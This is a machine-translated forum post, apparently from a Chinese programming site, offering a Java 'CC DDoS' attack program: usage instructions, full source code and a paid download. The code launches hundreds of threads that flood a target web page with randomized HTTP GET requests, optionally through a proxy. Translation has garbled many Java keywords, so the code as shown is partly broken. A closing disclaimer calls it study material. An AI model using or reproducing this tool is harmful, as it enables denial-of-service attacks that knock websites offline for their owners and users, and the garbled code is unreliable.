Ця стаття є дзеркальною статтею машинного перекладу, будь ласка, натисніть тут, щоб перейти до оригінальної статті.

Вид: 15524|Відповідь: 0

[Чайови] Java-версія програми атакувальника D-DOS

[Копіювати посилання]
Опубліковано 01.12.2014 15:21:57 | | |
Код JAR
dDOS-атака, реалізована на Java.
Однак це нічим не відрізняється від традиційного dDos.
Це програмне забезпечення є DDOS-атакою на сторінку.
Як користуватися:
java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
імпортувати java.nio.ByteBuffer;
імпорт java.nio.channels.SelectionKey;
імпортувати java.nio.channels.Selector;
імпорт java.nio.channels.SocketChannel;
import java.util.Iterator;
імпортувати java.util.Random;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
імпортувати java.util.Vector;

/**
* Демонічні нитки
*
* @author адміністрація
*
*/
Публічний класовий тест {
    приватний String host, uri, param;
    приватний міжнародний порт;
    приватний кінцевий Вектор<CCDDOSThread> v = новий Вектор<CCDDOSThread>();
    приватний InetSocketAddress isa;
    приватні int threadsCount = 500; Кількість ниток
    private Random r = новий Random();
    приватний довгий тайм-аут = 5000L;

    /**
     * Відкрийте атаку
     */
    Public void start() {
        для (int i = 0; I < threadsCount; i++) {
            CCDDOSThread t = новий CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Таймер t = новий таймер();
        t.schedule(new TimerTask() {
            Public Void run() {
                int count = 0, timeoutthreads = 0;
                long ct = System.currentTimeMillis();
                для (ітератор<CCDDOSThread> it = v.ітератор(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    якщо (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = нуль;
                        count++;
                    } else if (ct - th.start > тайм-аут) {
                        Тайм-аут, зовнішній кінець
                        timeoutthreads++;
                        th.setCancle (true);
                        th.interrupt();
                        it.remove();
                        th = нуль;
                        count++;
                    }
                }
                якщо (count == 0) {
                    Повернутися;
                }
                System.out.println("Потік закрито:"+count+", де підключено тайм-аут потік:"
                        + тайм-аутни);
                для (int i = 0; Я < раху; i++) {
                    CCDDOSThread th = новий CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println("Запущено тему Daemon:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        якщо (args.length < 6) {
            System.out.println ("Інструкції:");
            System.out
                    .println ("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } інакше, якщо (args.length >= 8) {
            Познайомтеся з агентом
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        тест m = новий тест();
        m.host = args[0];
        m.port = Ціле число.значенняOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Ціле число.значенняOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = нова InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Атакуючі нитки
     *
     * @author Чжанхунбо
     *
     */
    клас CCDDOSThread розширює Thread {
        приватна булева канкле = хибна;
        публічний довгий старт = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        публічний булевий isCancle() {
            Повернення Канкле;
        }

        Public Void run() {
            довгий старт = System.currentTimeMillis();
            Селектор селектора;
            try {
                selector = Selector.open();
                SocketChannel sc;
                try {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = true;
                    selector.close();
                    Повернутися;
                }

                sc.configureBlocking(false);
                sc.register(selector, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                wait: while (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - почати > тайм-аут) {
                        cancle = true;
                        перерва, чекати;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Ітератор<?> it = readykey.iterator();
                    while (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - почати > тайм-аут) {
                            cancle = true;
                            перерва, чекати;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        якщо ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Головка струн = "GET" + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Хост: " + хост
                                    + "\r\n" + "Зв'язок:близько\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write (BBF);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = true;
            }
        }
    }
}
[/mw_shl_code]

Готовий продукт і завантаження вихідного коду: java ddos.zip (8.42 KB, Кількість завантажень: 0, Ціна продажу: 2 Grain MB)





Попередній:Давайте поговоримо про найбільшу загадкову DDoS-атаку з потужністю 400G в історії
Наступний:Надішліть iPhone 6, щоб поговорити про версію без балів для зламування артефактів
Застереження:
Усе програмне забезпечення, програмні матеріали або статті, опубліковані Code Farmer Network, призначені лише для навчання та досліджень; Вищезазначений контент не повинен використовуватися в комерційних чи незаконних цілях, інакше користувачі несуть усі наслідки. Інформація на цьому сайті надходить з Інтернету, і спори щодо авторських прав не мають до цього сайту. Ви повинні повністю видалити вищезазначений контент зі свого комп'ютера протягом 24 годин після завантаження. Якщо вам подобається програма, будь ласка, підтримуйте справжнє програмне забезпечення, купуйте реєстрацію та отримайте кращі справжні послуги. Якщо є будь-яке порушення, будь ласка, зв'яжіться з нами електронною поштою.

Mail To:help@itsvse.com